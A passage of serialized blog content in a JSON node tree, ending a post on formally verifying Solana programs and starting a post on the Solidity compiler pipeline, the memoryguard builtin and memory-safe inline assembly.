en":28088},{"style":179},[28089],{"type":28,"value":27845},{"type":23,"tag":134,"props":28091,"children":28092},{"style":141},[28093],{"type":28,"value":27850},{"type":23,"tag":134,"props":28095,"children":28096},{"class":136,"line":221},[28097],{"type":23,"tag":134,"props":28098,"children":28099},{"emptyLinePlaceholder":15},[28100],{"type":28,"value":865},{"type":23,"tag":134,"props":28102,"children":28103},{"class":136,"line":332},[28104,28108,28112,28116,28120,28124],{"type":23,"tag":134,"props":28105,"children":28106},{"style":151},[28107],{"type":28,"value":154},{"type":23,"tag":134,"props":28109,"children":28110},{"style":162},[28111],{"type":28,"value":27869},{"type":23,"tag":134,"props":28113,"children":28114},{"style":168},[28115],{"type":28,"value":171},{"type":23,"tag":134,"props":28117,"children":28118},{"style":168},[28119],{"type":28,"value":24790},{"type":23,"tag":134,"props":28121,"children":28122},{"style":179},[28123],{"type":28,"value":16699},{"type":23,"tag":134,"props":28125,"children":28126},{"style":141},[28127],{"type":28,"value":27886},{"type":23,"tag":134,"props":28129,"children":28130},{"class":136,"line":438},[28131,28135,28139,28143,28147],{"type":23,"tag":134,"props":28132,"children":28133},{"style":189},[28134],{"type":28,"value":11746},{"type":23,"tag":134,"props":28136,"children":28137},{"style":162},[28138],{"type":28,"value":27869},{"type":23,"tag":134,"props":28140,"children":28141},{"style":168},[28142],{"type":28,"value":454},{"type":23,"tag":134,"props":28144,"children":28145},{"style":205},[28146],{"type":28,"value":27906},{"type":23,"tag":134,"props":28148,"children":28149},{"style":179},[28150],{"type":28,"value":463},{"type":23,"tag":134,"props":28152,"children":28153},{"class":136,"line":466},[28154,28158,28162,28166,28170,28174,28178],{"type":23,"tag":134,"props":28155,"children":28156},{"style":162},[28157],{"type":28,"value":25677},{"type":23,"tag":134,"props":28159,"children":28160},{"style":168},[28161],{"type":28,"value":720},{"type":23,"tag":134,"props":28163,"children":28164},{"style":179},[28165],{"type":28,"value":27926},{"type":23,"tag":134,"props":28167,"children":28168},{"style":168},[28169],{"type":28,"value":720},{"type":23,"tag":134,"props":28171,"children":28172},{"style":264},[28173],{"type":28,"value":27935},{"type":23,"tag":134,"props":28175,"children":28176},{"style":179},[28177],{"type":28,"value":27940},{"type":23,"tag":134,"props":28179,"children":28180},{"style":141},[28181],{"type":28,"value":27945},{"type":23,"tag":134,"props":28183,"children":28184},{"class":136,"line":479},[28185],{"type":23,"tag":134,"props":28186,"children":28187},{"style":179},[28188],{"type":28,"value":533},{"type":23,"tag":134,"props":28190,"children":28191},{"class":136,"line":497},[28192],{"type":23,"tag":134,"props":28193,"children":28194},{"emptyLinePlaceholder":15},[28195],{"type":28,"value":865},{"type":23,"tag":134,"props":28197,"children":28198},{"class":136,"line":518},[28199],{"type":23,"tag":134,"props":28200,"children":28201},{"style":141},[28202],{"type":28,"value":28203},"    // Enforce invariants at runtime\n",{"type":23,"tag":134,"props":28205,"children":28206},{"class":136,"line":527},[28207,28211,28215,28219,28223,28227,28231,28235],{"type":23,"tag":134,"props":28208,"children":28209},{"style":264},[28210],{"type":28,"value":18716},{"type":23,"tag":134,"props":28212,"children":28213},{"style":179},[28214],{"type":28,"value":272},{"type":23,"tag":134,"props":28216,"children":28217},{"style":162},[28218],{"type":28,"value":19758},{"type":23,"tag":134,"props":28220,"children":28221},{"style":168},[28222],{"type":28,"value":720},{"type":23,"tag":134,"props":28224,"children":28225},{"style":179},[28226],{"type":28,"value":27926},{"type":23,"tag":134,"props":28228,"children":28229},{"style":168},[28230],{"type":28,"value":720},{"type":23,"tag":134,"props":28232,"children":28233},{"style":264},[28234],{"type":28,"value":21256},{"type":23,"tag":134,"props":28236,"children":28237},{"style":179},[28238],{"type":28,"value":14894},{"type":23,"tag":134,"props":28240,"children":28241},{"class":136,"line":780},[28242],{"type":23,"tag":134,"props":28243,"children":28244},{"emptyLinePlaceholder":15},[28245],{"type":28,"value":865},{"type":23,"tag":134,"props":28247,"children":28248},{"class":136,"line":797},[28249,28253],{"type":23,"tag":134,"props":28250,"children":28251},{"style":597},[28252],{"type":28,"value":13801},{"type":23,"tag":134,"props":28254,"children":28255},{"style":179},[28256],{"type":28,"value":13806},{"type":23,"tag":134,"props":28258,"children":28259},{"class":136,"line":814},[28260],{"type":23,"tag":134,"props":28261,"children":28262},{"style":179},[28263],{"type":28,"value":1098},{"type":23,"tag":24,"props":28265,"children":28266},{},[28267,28269,28274,28276,28281,28283,28288],{"type":28,"value":28268},"Here, we explicitly ",{"type":23,"tag":92,"props":28270,"children":28272},{"className":28271},[],[28273],{"type":28,"value":19461},{"type":28,"value":28275}," that our invariants hold at ",{"type":23,"tag":55,"props":28277,"children":28278},{},[28279],{"type":28,"value":28280},"runtime",{"type":28,"value":28282}," which allows us to be assured that ",{"type":23,"tag":92,"props":28284,"children":28286},{"className":28285},[],[28287],{"type":28,"value":27926},{"type":28,"value":28289}," will not enter a bad state as a result of some unverifiable behavior.",{"type":23,"tag":24,"props":28291,"children":28292},{},[28293],{"type":28,"value":28294},"In general techniques like this can be used to tidy up the loose ends that formal verification may struggle with.",{"type":23,"tag":61,"props":28296,"children":28298},{"id":28297},"challenges-of-formal-verification-on-solana",[28299],{"type":28,"value":28300},"Challenges of formal verification on Solana",{"type":23,"tag":9072,"props":28302,"children":28304},{"id":28303},"expensive-computation",[28305],{"type":28,"value":28306},"Expensive computation",{"type":23,"tag":24,"props":28308,"children":28309},{},[28310,28312,28317],{"type":28,"value":28311},"As we started exploring this project, we were hoping to see it work straight out of the box. Unfortunately, that was not the case. Harkening back to our friend ",{"type":23,"tag":55,"props":28313,"children":28314},{},[28315],{"type":28,"value":28316},"path explosion",{"type":28,"value":28318},", it is often the case that bounded model checking just grinds and grinds on the problem and is not able to produce a solution.",{"type":23,"tag":24,"props":28320,"children":28321},{},[28322,28324,28329],{"type":28,"value":28323},"In order to make this technique more widely applicable, we've been developing a runtime SDK layer that is more ",{"type":23,"tag":55,"props":28325,"children":28326},{},[28327],{"type":28,"value":28328},"formal verification friendly",{"type":28,"value":28330},". Specifically our tool will replace certain built-in SDK functions and structures with less expensive ones in the context of symbolic execution.",{"type":23,"tag":24,"props":28332,"children":28333},{},[28334,28336,28341,28343,28348],{"type":28,"value":28335},"For example, when verifying things like the uniqueness of a ",{"type":23,"tag":92,"props":28337,"children":28339},{"className":28338},[],[28340],{"type":28,"value":20876},{"type":28,"value":28342}," in a ",{"type":23,"tag":92,"props":28344,"children":28346},{"className":28345},[],[28347],{"type":28,"value":16683},{"type":28,"value":28349},", the native program may generate extremely large SMT expressions containing nested 32-byte comparisons and binary searches on a vector.",{"type":23,"tag":24,"props":28351,"children":28352},{},[28353,28355,28360,28362,28367,28369,28374,28376,28381,28383,28388,28390,28395],{"type":28,"value":28354},"However, in most cases the properties we are interested in do not require specific search algorithms for the ",{"type":23,"tag":92,"props":28356,"children":28358},{"className":28357},[],[28359],{"type":28,"value":16683},{"type":28,"value":28361}," or a 32-byte ",{"type":23,"tag":92,"props":28363,"children":28365},{"className":28364},[],[28366],{"type":28,"value":20876},{"type":28,"value":28368},". Instead, our tool can substitute in ",{"type":23,"tag":55,"props":28370,"children":28371},{},[28372],{"type":28,"value":28373},"cheaper",{"type":28,"value":28375}," types and functions, such as a 4-byte ",{"type":23,"tag":92,"props":28377,"children":28379},{"className":28378},[],[28380],{"type":28,"value":20876},{"type":28,"value":28382}," struct and a fixed-size, array-backed ",{"type":23,"tag":92,"props":28384,"children":28386},{"className":28385},[],[28387],{"type":28,"value":16683},{"type":28,"value":28389}," implementation. These structures are API-compatible with the native SDK and the changes are functionally invisible to the Solana program we are verifying. However, the generated expressions are ",{"type":23,"tag":55,"props":28391,"children":28392},{},[28393],{"type":28,"value":28394},"much",{"type":28,"value":28396}," simpler and we find that these techniques can greatly accelerate the speed of model-checking.",{"type":23,"tag":24,"props":28398,"children":28399},{},[28400],{"type":28,"value":28401},"It is of key importance that these SDK modifications do not introduce any unsoundness into the model-checking process. We are actively exploring how to do this effectively.",{"type":23,"tag":9072,"props":28403,"children":28405},{"id":28404},"runtime-environment",[28406],{"type":28,"value":28407},"Runtime Environment",{"type":23,"tag":24,"props":28409,"children":28410},{},[28411],{"type":28,"value":28412},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":23,"tag":24,"props":28414,"children":28415},{},[28416],{"type":28,"value":28417},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":23,"tag":24,"props":28419,"children":28420},{},[28421],{"type":28,"value":28422},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":23,"tag":61,"props":28424,"children":28426},{"id":28425},"conclusion",[28427],{"type":28,"value":18423},{"type":23,"tag":24,"props":28429,"children":28430},{},[28431],{"type":28,"value":28432},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":23,"tag":24,"props":28434,"children":28435},{},[28436],{"type":28,"value":28437},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":23,"tag":18268,"props":28439,"children":28440},{},[],{"type":23,"tag":24,"props":28442,"children":28443},{},[28444],{"type":23,"tag":55,"props":28445,"children":28446},{},[28447,28449,28454,28455,28459],{"type":28,"value":28448},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":23,"tag":31,"props":28450,"children":28452},{"href":18351,"rel":28451},[35],[28453],{"type":28,"value":18355},{"type":28,"value":18357},{"type":23,"tag":31,"props":28456,"children":28457},{"href":18360},[28458],{"type":28,"value":18363},{"type":28,"value":720},{"type":23,"tag":2575,"props":28461,"children":28462},{},[28463],{"type":28,"value":2579},{"title":7,"searchDepth":147,"depth":147,"links":28465},[28466,28472,28476,28481,28487,28491],{"id":18426,"depth":147,"text":18429,"children":28467},[28468,28469,28470,28471],{"id":18432,"depth":185,"text":18435},{"id":18500,"depth":185,"text":18503},{"id":19381,"depth":185,"text":19384},{"id":19421,"depth":185,"text":19424},{"id":19474,"depth":147,"text":28473,"children":28474},"Specification: How can we describe what we want our program to do?",[28475],{"id":19588,"depth":185,"text":19591},{"id":20948,"depth":147,"text":20951,"children":28477},[28478,28479,28480],{"id":21625,"depth":185,"text":21628},{"id":21910,"depth":185,"text":21913},{"id":22054,"depth":185,"text":22057},{"id":22195,"depth":147,"text":22198,"children":28482},[28483,28484,28485,28486],{"id":22266,"depth":185,"text":22269},{"id":24129,"depth":185,"text":24132},{"id":24931,"depth":185,"text":22258},{"id":27457,"depth":185,"text":22263},{"id":28297,"depth":147,"text":28300,"children":28488},[28489,28490],{"id":28303,"depth":185,"text":28306},{"id":28404,"depth":185,"text":28407},{"id":28425,"depth":147,"text":18423},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":28496,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":28497,"description":28498,"author":5175,"image":28499,"date":28501,"isFeatured":15,"onBlogPage":15,"tags":28502,"body":28504,"_type":2586,"_id":29924,"_source":2588,"_file":29925,"_stem":29926,"_extension":2591},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":28500,"height":13091,"width":13091},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[1679,28503],"compiler",{"type":20,"children":28505,"toc":29915},[28506,28512,28548,28560,28566,28588,28601,28749,28770,28775,28796,28801,28809,28814,28819,28824,28830,28849,28854,28875,28938,28951,28981,29001,29028,29033,29046,29051,29056,29069,29100,29123,29277,29295,29346,29365,29390,29395,29401,29428,29448,29476,29481,29503,29522,29530,29541,29546,29562,29819,29827,29832,29836,29841,29846,29911],{"type":23,"tag":61,"props":28507,"children":28509},{"id":28508},"introduction",[28510],{"type":28,"value":28511},"Introduction",{"type":23,"tag":24,"props":28513,"children":28514},{},[28515,28517,28523,28524,28528,28530,28537,28539,28546],{"type":28,"value":28516},"What does ",{"type":23,"tag":92,"props":28518,"children":28520},{"className":28519},[],[28521],{"type":28,"value":28522},"memory-safe",{"type":28,"value":5915},{"type":23,"tag":55,"props":28525,"children":28526},{},[28527],{"type":28,"value":8751},{"type":28,"value":28529}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":23,"tag":31,"props":28531,"children":28534},{"href":28532,"rel":28533},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[35],[28535],{"type":28,"value":28536},"presents some requirements",{"type":28,"value":28538},", but is production code that ",{"type":23,"tag":31,"props":28540,"children":28543},{"href":28541,"rel":28542},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[35],[28544],{"type":28,"value":28545},"violates these requirements",{"type":28,"value":28547}," necessarily unsafe?",{"type":23,"tag":24,"props":28549,"children":28550},{},[28551,28553,28558],{"type":28,"value":28552},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":23,"tag":55,"props":28554,"children":28555},{},[28556],{"type":28,"value":28557},"memory-safety",{"type":28,"value":28559}," actually means.",{"type":23,"tag":61,"props":28561,"children":28563},{"id":28562},"compiler-pipeline",[28564],{"type":28,"value":28565},"Compiler Pipeline",{"type":23,"tag":24,"props":28567,"children":28568},{},[28569,28571,28578,28580,28587],{"type":28,"value":28570},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":23,"tag":31,"props":28572,"children":28575},{"href":28573,"rel":28574},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[35],[28576],{"type":28,"value":28577},"released in v0.8.13",{"type":28,"value":28579},". Compilation happens ",{"type":23,"tag":31,"props":28581,"children":28584},{"href":28582,"rel":28583},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[35],[28585],{"type":28,"value":28586},"in two main steps",{"type":28,"value":1697},{"type":23,"tag":4890,"props":28589,"children":28590},{},[28591,28596],{"type":23,"tag":4894,"props":28592,"children":28593},{},[28594],{"type":28,"value":28595},"Solidity to YUL IR",{"type":23,"tag":4894,"props":28597,"children":28598},{},[28599],{"type":28,"value":28600},"YUL IR to EVM opcodes",{"type":23,"tag":87,"props":28602,"children":28606},{"className":28603,"code":28604,"language":28605,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark","    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n","cpp",[28607],{"type":23,"tag":92,"props":28608,"children":28609},{"__ignoreMap":7},[28610,28640,28661,28673,28681,28693,28713,28721,28742],{"type":23,"tag":134,"props":28611,"children":28612},{"class":136,"line":137},[28613,28617,28622,28626,28631,28635],{"type":23,"tag":134,"props":28614,"children":28615},{"style":189},[28616],{"type":28,"value":11746},{"type":23,"tag":134,"props":28618,"children":28619},{"style":179},[28620],{"type":28,"value":28621}," (m_viaIR ",{"type":23,"tag":134,"props":28623,"children":28624},{"style":168},[28625],{"type":28,"value":21897},{"type":23,"tag":134,"props":28627,"children":28628},{"style":179},[28629],{"type":28,"value":28630}," m_generateIR ",{"type":23,"tag":134,"props":28632,"children":28633},{"style":168},[28634],{"type":28,"value":21897},{"type":23,"tag":134,"props":28636,"children":28637},{"style":179},[28638],{"type":28,"value":28639}," m_generateEwasm)\n",{"type":23,"tag":134,"props":28641,"children":28642},{"class":136,"line":147},[28643,28648,28652,28656],{"type":23,"tag":134,"props":28644,"children":28645},{"style":264},[28646],{"type":28,"value":28647},"        generateIR",{"type":23,"tag":134,"props":28649,"children":28650},{"style":179},[28651],{"type":28,"value":272},{"type":23,"tag":134,"props":28653,"children":28654},{"style":168},[28655],{"type":28,"value":1777},{"type":23,"tag":134,"props":28657,"children":28658},{"style":179},[28659],{"type":28,"value":28660},"contract);\n",{"type":23,"tag":134,"props":28662,"children":28663},{"class":136,"line":185},[28664,28668],{"type":23,"tag":134,"props":28665,"children":28666},{"style":189},[28667],{"type":28,"value":11746},{"type":23,"tag":134,"props":28669,"children":28670},{"style":179},[28671],{"type":28,"value":28672}," (m_generateEvmBytecode)\n",{"type":23,"tag":134,"props":28674,"children":28675},{"class":136,"line":221},[28676],{"type":23,"tag":134,"props":28677,"children":28678},{"style":179},[28679],{"type":28,"value":28680},"    {\n",{"type":23,"tag":134,"props":28682,"children":28683},{"class":136,"line":332},[28684,28688],{"type":23,"tag":134,"props":28685,"children":28686},{"style":189},[28687],{"type":28,"value":444},{"type":23,"tag":134,"props":28689,"children":28690},{"style":179},[28691],{"type":28,"value":28692}," (m_viaIR)\n",{"type":23,"tag":134,"props":28694,"children":28695},{"class":136,"line":438},[28696,28701,28705,28709],{"type":23,"tag":134,"props":28697,"children":28698},{"style":264},[28699],{"type":28,"value":28700},"            generateEVMFromIR",{"type":23,"tag":134,"props":28702,"children":28703},{"style":179},[28704],{"type":28,"value":272},{"type":23,"tag":134,"props":28706,"children":28707},{"style":168},[28708],{"type":28,"value":1777},{"type":23,"tag":134,"props":28710,"children":28711},{"style":179},[28712],{"type":28,"value":28660},{"type":23,"tag":134,"props":28714,"children":28715},{"class":136,"line":466},[28716],{"type":23,"tag":134,"props":28717,"children":28718},{"style":189},[28719],{"type":28,"value":28720},"        else\n",{"type":23,"tag":134,"props":28722,"children":28723},{"class":136,"line":479},[28724,28729,28733,28737],{"type":23,"tag":134,"props":28725,"children":28726},{"style":264},[28727],{"type":28,"value":28728},"            compileContract",{"type":23,"tag":134,"props":28730,"children":28731},{"style":179},[28732],{"type":28,"value":272},{"type":23,"tag":134,"props":28734,"children":28735},{"style":168},[28736],{"type":28,"value":1777},{"type":23,"tag":134,"props":28738,"children":28739},{"style":179},[28740],{"type":28,"value":28741},"contract, otherCompilers);\n",{"type":23,"tag":134,"props":28743,"children":28744},{"class":136,"line":497},[28745],{"type":23,"tag":134,"props":28746,"children":28747},{"style":179},[28748],{"type":28,"value":533},{"type":23,"tag":24,"props":28750,"children":28751},{},[28752,28754,28761,28762,28769],{"type":28,"value":28753},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":31,"props":28755,"children":28758},{"href":28756,"rel":28757},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[35],[28759],{"type":28,"value":28760},"YulStack::optimize",{"type":28,"value":10458},{"type":23,"tag":31,"props":28763,"children":28766},{"href":28764,"rel":28765},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[35],[28767],{"type":28,"value":28768},"Assembly::optimize",{"type":28,"value":720},{"type":23,"tag":24,"props":28771,"children":28772},{},[28773],{"type":28,"value":28774},"In total, there are four steps.",{"type":23,"tag":4890,"props":28776,"children":28777},{},[28778,28782,28787,28791],{"type":23,"tag":4894,"props":28779,"children":28780},{},[28781],{"type":28,"value":28595},{"type":23,"tag":4894,"props":28783,"children":28784},{},[28785],{"type":28,"value":28786},"Optimization of YUL IR",{"type":23,"tag":4894,"props":28788,"children":28789},{},[28790],{"type":28,"value":28600},{"type":23,"tag":4894,"props":28792,"children":28793},{},[28794],{"type":28,"value":28795},"Optimization of EVM opcodes",{"type":23,"tag":24,"props":28797,"children":28798},{},[28799],{"type":28,"value":28800},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":78,"props":28802,"children":28803},{},[28804],{"type":23,"tag":24,"props":28805,"children":28806},{},[28807],{"type":28,"value":28808},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":24,"props":28810,"children":28811},{},[28812],{"type":28,"value":28813},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":24,"props":28815,"children":28816},{},[28817],{"type":28,"value":28818},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":24,"props":28820,"children":28821},{},[28822],{"type":28,"value":28823},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":61,"props":28825,"children":28827},{"id":28826},"guarantees",[28828],{"type":28,"value":28829},"Guarantees",{"type":23,"tag":24,"props":28831,"children":28832},{},[28833,28834,28841,28843,28848],{"type":28,"value":16084},{"type":23,"tag":31,"props":28835,"children":28838},{"href":28836,"rel":28837},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[35],[28839],{"type":28,"value":28840},"Solidity memory layout",{"type":28,"value":28842}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":55,"props":28844,"children":28845},{},[28846],{"type":28,"value":28847},"no information about this layout",{"type":28,"value":720},{"type":23,"tag":24,"props":28850,"children":28851},{},[28852],{"type":28,"value":28853},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":24,"props":28855,"children":28856},{},[28857,28859,28865,28867,28873],{"type":28,"value":28858},"Introducing ",{"type":23,"tag":92,"props":28860,"children":28862},{"className":28861},[],[28863],{"type":28,"value":28864},"memoryguard",{"type":28,"value":28866},". If you've ever looked at the output of ",{"type":23,"tag":92,"props":28868,"children":28870},{"className":28869},[],[28871],{"type":28,"value":28872},"solc --ir",{"type":28,"value":28874},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":87,"props":28876,"children":28878},{"className":1680,"code":28877,"language":1679,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[28879],{"type":23,"tag":92,"props":28880,"children":28881},{"__ignoreMap":7},[28882,28900],{"type":23,"tag":134,"props":28883,"children":28884},{"class":136,"line":137},[28885,28890,28895],{"type":23,"tag":134,"props":28886,"children":28887},{"style":141},[28888],{"type":28,"value":28889},"    /// @src 0:26:371  \"contract ",{"type":23,"tag":134,"props":28891,"children":28892},{"style":151},[28893],{"type":28,"value":28894},"XXX",{"type":23,"tag":134,"props":28896,"children":28897},{"style":141},[28898],{"type":28,"value":28899}," {...\"\n",{"type":23,"tag":134,"props":28901,"children":28902},{"class":136,"line":147},[28903,28908,28912,28917,28921,28925,28929,28934],{"type":23,"tag":134,"props":28904,"children":28905},{"style":264},[28906],{"type":28,"value":28907},"    store",{"type":23,"tag":134,"props":28909,"children":28910},{"style":179},[28911],{"type":28,"value":272},{"type":23,"tag":134,"props":28913,"children":28914},{"style":205},[28915],{"type":28,"value":28916},"64",{"type":23,"tag":134,"props":28918,"children":28919},{"style":179},[28920],{"type":28,"value":242},{"type":23,"tag":134,"props":28922,"children":28923},{"style":264},[28924],{"type":28,"value":28864},{"type":23,"tag":134,"props":28926,"children":28927},{"style":179},[28928],{"type":28,"value":272},{"type":23,"tag":134,"props":28930,"children":28931},{"style":205},[28932],{"type":28,"value":28933},"0x80",{"type":23,"tag":134,"props":28935,"children":28936},{"style":179},[28937],{"type":28,"value":19189},{"type":23,"tag":24,"props":28939,"children":28940},{},[28941,28943,28950],{"type":28,"value":28942},"From ",{"type":23,"tag":31,"props":28944,"children":28947},{"href":28945,"rel":28946},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[35],[28948],{"type":28,"value":28949},"the documentation",{"type":28,"value":1327},{"type":23,"tag":78,"props":28952,"children":28953},{},[28954],{"type":23,"tag":24,"props":28955,"children":28956},{},[28957,28959,28965,28967,28973,28975,28980],{"type":28,"value":28958},"The caller of ",{"type":23,"tag":92,"props":28960,"children":28962},{"className":28961},[],[28963],{"type":28,"value":28964},"let ptr := memoryguard(size)",{"type":28,"value":28966}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":92,"props":28968,"children":28970},{"className":28969},[],[28971],{"type":28,"value":28972},"[0, size)",{"type":28,"value":28974}," or the unbounded range starting at ",{"type":23,"tag":92,"props":28976,"children":28978},{"className":28977},[],[28979],{"type":28,"value":13417},{"type":28,"value":720},{"type":23,"tag":24,"props":28982,"children":28983},{},[28984,28986,28991,28993,28999],{"type":28,"value":28985},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":92,"props":28987,"children":28989},{"className":28988},[],[28990],{"type":28,"value":28864},{"type":28,"value":28992}," return ",{"type":23,"tag":92,"props":28994,"children":28996},{"className":28995},[],[28997],{"type":28,"value":28998},"size + 32",{"type":28,"value":29000},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":24,"props":29002,"children":29003},{},[29004,29006,29013,29015,29020,29022,29027],{"type":28,"value":29005},"An example of this optimization in practice ",{"type":23,"tag":31,"props":29007,"children":29010},{"href":29008,"rel":29009},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[35],[29011],{"type":28,"value":29012},"is the StackLimitEvader",{"type":28,"value":29014},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":55,"props":29016,"children":29017},{},[29018],{"type":28,"value":29019},"only",{"type":28,"value":29021}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":92,"props":29023,"children":29025},{"className":29024},[],[29026],{"type":28,"value":28864},{"type":28,"value":720},{"type":23,"tag":24,"props":29029,"children":29030},{},[29031],{"type":28,"value":29032},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":24,"props":29034,"children":29035},{},[29036,29038,29044],{"type":28,"value":29037},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":92,"props":29039,"children":29041},{"className":29040},[],[29042],{"type":28,"value":29043},"memoryguard(0x60)",{"type":28,"value":29045}," instead. The rest of the pipeline will still work.",{"type":23,"tag":61,"props":29047,"children":29048},{"id":28557},[29049],{"type":28,"value":29050},"Memory Safety",{"type":23,"tag":24,"props":29052,"children":29053},{},[29054],{"type":28,"value":29055},"So what does memory safety mean?",{"type":23,"tag":24,"props":29057,"children":29058},{},[29059,29061,29067],{"type":28,"value":29060},"The Solidity documentation provides ",{"type":23,"tag":31,"props":29062,"children":29064},{"href":28532,"rel":29063},[35],[29065],{"type":28,"value":29066},"a set of constraints",{"type":28,"value":29068},", not a definition.",{"type":23,"tag":78,"props":29070,"children":29071},{},[29072,29077],{"type":23,"tag":24,"props":29073,"children":29074},{},[29075],{"type":28,"value":29076},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":4890,"props":29078,"children":29079},{},[29080,29085,29090,29095],{"type":23,"tag":4894,"props":29081,"children":29082},{},[29083],{"type":28,"value":29084},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":4894,"props":29086,"children":29087},{},[29088],{"type":28,"value":29089},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":4894,"props":29091,"children":29092},{},[29093],{"type":28,"value":29094},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":4894,"props":29096,"children":29097},{},[29098],{"type":28,"value":29099},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":24,"props":29101,"children":29102},{},[29103,29105,29112,29122],{"type":28,"value":29104},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":31,"props":29106,"children":29109},{"href":29107,"rel":29108},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[35],[29110],{"type":28,"value":29111},"removes the memory guard",{"type":23,"tag":14943,"props":29113,"children":29114},{},[29115],{"type":23,"tag":31,"props":29116,"children":29120},{"href":29117,"ariaDescribedBy":29118,"dataFootnoteRef":7,"id":29119},"#user-content-fn-1",[14950],"user-content-fnref-1",[29121],{"type":28,"value":1214},{"type":28,"value":720},{"type":23,"tag":87,"props":29124,"children":29126},{"className":28603,"code":29125,"language":28605,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  